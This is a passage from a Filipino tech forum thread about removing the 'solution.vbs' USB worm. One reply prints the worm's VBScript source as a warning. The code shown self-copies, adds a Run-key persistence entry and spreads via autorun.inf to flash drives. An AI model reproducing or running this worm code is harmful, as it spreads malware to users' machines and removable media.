The Philippine Electronics and Technology Forum
February 09, 2012, 11:30:29 PM *
Welcome, Guest. Please login or register.

Login with username, password and session length
 
   Home   Help Search Login Register  

Pages: 1 [2]   Go Down
  Print  
Author Topic: solution.VBS virus script  (Read 4054 times)
9 Volts
Size D Battery
******

Pogi/Ganda Points: 7
Offline Offline

Gender: Male
Posts: 468


Moving Target


« Reply #20 on: April 11, 2010, 06:05:53 AM »

Try to scan in Safe Mode.

bakit po in safe mode? may pagkakaiba po ba yun sa scan ng normal?
Logged

If we hear, we forget; if we see, we remember; if we do, we understand. -- Proverb
The Philippine Electronics and Technology Forum
« Reply #20 on: April 11, 2010, 06:05:53 AM »

 Logged
theeye23
CR2032 Battery
**

Pogi/Ganda Points: 0
Offline Offline

Posts: 49


The eye is looking at you! :D


« Reply #21 on: April 11, 2010, 08:20:19 AM »

Yes,there is a difference. Most malwares make an entries to the Windows startup and the Windows startup will function only if the Windows loads in normal mode. The other thing is some malwares used hook functions only in normal mode. Except EXE infectors like SALITY, the system is infected in both modes.

That's why you need to scan it in safe mode.
Logged

Mag-ingat sa mga asal talangka, hihilahin ka nila pababa!

Namamato pag ika'y hitik... hitik sa bunga!
amadjo01
Lead Acid Battery
*******

Pogi/Ganda Points: 14
Offline Offline

Gender: Male
Posts: 692


Meow....


« Reply #22 on: July 27, 2010, 03:09:04 PM »

kailangan bang i-delete tong mga keys na to?


      .RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autoMe", "wscript.exe """ & win & "\solution.vbs"""
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun", 128, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD"

paano po kung yung value nang disable taskmanager = "1"
"""""""""""""""""""""""""""""""""""""""""""""""""""  regedit = "1"
"""""""""""""""""""""""""""""""""""""""""""""""""""  nofolderoptions = "1"
tapos samahan pa ng disable gpedit = "1"
ano po ba mang yayari?
Logged
amadjo01
Lead Acid Battery
*******

Pogi/Ganda Points: 14
Offline Offline

Gender: Male
Posts: 692


Meow....


« Reply #23 on: July 27, 2010, 03:11:10 PM »

warning
another virus nakita nkuha sa usb flash drive
post ko dito na kung sakali mavirus kayo nito alam nyu alaing registry ang binabago ng virus
dinelete kong ang ilang code para hindi na magamit kung sakaling copyahin

On Error Resume Next
Dim fso, wscr, tf, scrText, win, ax, pug, pou

Set fso = CreateObject("Scripting.FileSystemObject")
Set wscr = CreateObject("WScript.Shell")

win = fso.GetSpecialFolder(0)
tf = WScript.ScriptFullName
x = LCase(tf)

If Mid(x, 4) = "solution.vbs" Then
   wscr.Run "explorer.exe " & fso.Getfile(tf).Drive.Path
End If

Set myFile = fso.Getfile(tf).OpenAsTextStream(1)
Do Until myFile.AtEndOfStream
   scrText = scrText & myFile.ReadLine & vbCrLf
Loop

ax = fso.FileExists(win & "\solution.vbs")

Set myFile = fso.CreateTextFile(win & "\solution.vbs", true)
myFile.write scrText
myFile.close

Set fAttr = fso.Getfile(win & "\solution.vbs")
fAttr.Attributes=39

wscr.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autoMe", "wscript.exe """ & win & "\solution.vbs"""



While (true)

   Set myDrives = fso.Drives
   For Each myFlashDrive In myDrives

      If myFlashDrive.Drivetype = 1 And myFlashDrive.Path <> "A:" Then

         If fso.FileExists(myFlashDrive.Path & "\Autorun.inf") Then
            Set fAttr = fso.Getfile(myFlashDrive.Path & "\Autorun.inf")
            fAttr.Attributes=32
            fso.Deletefile myFlashDrive.Path & "\Autorun.inf", true
         End If
     
         Set auFile = fso.CreateTextFile(myFlashDrive.Path & "\Autorun.inf", true)
         auFile.write "[autorun]" & vbCrLf & "open=wscript.exe solution.vbs" & vbCrLf & "shell\Open\Command=wscript.exe solution.vbs" & vbCrLf & "shell\Open\Default=1"
         auFile.close

         Set fAttr = fso.Getfile(myFlashDrive.Path & "\Autorun.inf")
         fAttr.Attributes=39

         Set myFile = fso.CreateTextFile(myFlashDrive.Path & "\solution.vbs", true)
         myFile.write scrText
         myFile.close

         Set fAttr = fso.Getfile(myFlashDrive.Path & "\solution.vbs")
         fAttr.Attributes=39

      End If

   Next

   With wscr
      .RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autoMe", "wscript.exe """ & win & "\solution.vbs"""
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun", 128, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD"
   End With

pug = fso.Deletefile("C:\WINDOWS\auto.vbs")


 


Wend

parang ganito po ang script ng astig.vbs

sa Flash drive din po para maikalat sya
Logged
jacks
Nuclear Reactor
****

Pogi/Ganda Points: 189
Offline Offline

Posts: 4272



« Reply #24 on: July 27, 2010, 03:43:02 PM »

paano po kung yung value nang disable taskmanager = "1"
"""""""""""""""""""""""""""""""""""""""""""""""""""  regedit = "1"
"""""""""""""""""""""""""""""""""""""""""""""""""""  nofolderoptions = "1"
tapos samahan pa ng disable gpedit = "1"
ano po ba mang yayari?

Kapag 1 means on, kapag 0 means off

Kaya kapag nofolderoptions =1 , means hidden ang nofolderoptions mo. Link nya ay sa explorer at control panel nakahide sya.

Yan ang pagkaalam ko.

No folder options on so hidden sya.
Logged
The Philippine Electronics and Technology Forum
   

 Logged
Pages: 1 [2]   Go Up
  Print  
 
Jump to:  


Related Topics
Subject Started by Replies Views Last post
Python Script Problem for Telit GM862-GPS
General Electronics and Technology Discussion
genexide 5 134 Last post March 01, 2011, 07:30:52 PM
by genexide
Powered by MySQL Powered by PHP Powered by SMF 1.1.15 | SMF © 2011, Simple Machines Valid XHTML 1.0! Valid CSS!